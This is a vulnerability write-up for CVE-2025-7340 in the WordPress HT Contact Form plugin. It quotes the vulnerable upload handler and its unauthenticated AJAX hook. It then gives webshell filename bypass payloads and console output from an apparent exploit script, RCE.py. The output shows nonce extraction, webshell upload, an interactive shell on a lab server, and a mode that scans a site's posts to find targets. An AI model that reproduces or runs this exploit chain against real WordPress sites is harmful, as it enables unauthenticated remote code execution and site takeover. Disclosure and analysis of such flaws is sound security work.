WordPress HT Contact Form Widget | CVE-2025-7340 File Upload Vulnerability Analysis

Vulnerability Location

Vulnerability Location: ht-contactform/admin/Includes/Services/FileManager.php Key Function: temp_file_upload()

1. Main Vulnerability Point: temp_file_upload function

# Line 63
public function temp_file_upload($file) {
  $destination = "{$this->dir}/temp";
  $this->maybe_create_directories($destination);
  // Validate file
  $validation = $this->validate($file);
  if (!$validation['valid']) {
​    wp_send_json_error($validation['message']);
​    return;
  }

  // Process the file
  $filename = $this->process_filename($file['name']);
  $file_path = "{$destination}/$filename";
  // Move file to temporary directory
  if (move_uploaded_file($file['tmp_name'], $file_path)) {
​    wp_send_json_success([
​      'file_id' => $filename,
​      'file_name' => $file['name'],
​      'file_size' => $file['size']
​    ]);
​    return;
  }
}

2. Vulnerability Entry Point: AJAX handling

File location: ht-contactform/admin/Includes/Ajax.php:

# Lines 46-47
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);

Issue: The wp_ajax_nopriv_ hook is used, meaning unauthenticated users can also access the file upload functionality.

Root Cause Analysis:

• Missing file type validation: In the validate function of FileManager.php, only PHP upload errors are checked; there is absolutely no validation of file type, extension, or MIME type.
• Unused file type configuration: The plugin defines allowed files in Fields.php, but only uses them for client-side validation (accept attribute) during form rendering; the server side never uses these configurations for verification.
• Insufficient filename handling: sanitize_file_name() mainly handles special characters and does not prevent dangerous extensions; an attacker can still upload files like .php, .php3, .phtml, etc.

3. Access Control Issues

// Ajax.php lines 46-47
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);

Issue Analysis:

• Non-logged-in users can also access the upload functionality
• Relies solely on nonce validation, which can be bypassed

Attack Scenarios

1. Direct Attack: The attacker can directly send a POST request to /wp-admin/admin-ajax.php with the action ht_form_temp_file_upload

2. Bypassing Client-Side Validation: The frontend uses the accept attribute to restrict file types, but an attacker can easily bypass it

3. File Execution: The uploaded PHP file may be executed by the web server, leading to remote code execution

1. Double Extension Bypass

shell.php.jpg
shell.php.png
shell.php.gif

2. Case Bypass

shell.PHP
shell.Php
shell.pHp

3. Null Byte Injection (if server configuration allows)

shell.php%00.jpg

4. Python Script

Note that the URL is only viable if the plugin has published articles, so I added a script kiddie function 02

---

01 [Single Test] Example:

python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/

Start trying.......
Fetching target page...
Extracting parameters...
Extracted Nonce: b05a39ff55
AJAX Endpoint: http://192.168.162.131:8081/wp-admin/admin-ajax.php
Form ID: 6
Generating webshell...
Uploading shell, please wait...

[+] Exploit successful!

Webshell address: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php

[+] Entering shell interactive mode, type 'exit' to exit!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
Exiting interactive mode

02 [Root Directory Test] Example:

python RCE.py -r http://192.168.162.131:8081
[*] Please enter the date (default 20250804):
[*] Date used: 20250804
[*] Scanning date: 2025-08-04
[*] Scan address: http://192.168.162.131:8081/2025/08/04/
[*] Found article 2: Test.0.1
[*] Found article 3: August 4, 2025
[*] Found article 6: Hello World!
[*] Found article 7: August 4, 2025
[*] Starting exploit...

[*] Exploiting: http://192.168.162.131:8081/2025/08/04/test-0-1/
Start trying.......
Fetching target page...
Extracting parameters...
Extracted Nonce: b05a39ff55
AJAX Endpoint: http://192.168.162.131:8081/wp-admin/admin-ajax.php
Form ID: 6
Generating webshell...
Uploading shell, please wait...

[+] Exploit successful!

Webshell address: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php

[+] Entering shell interactive mode, type 'exit' to exit!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
Exiting interactive mode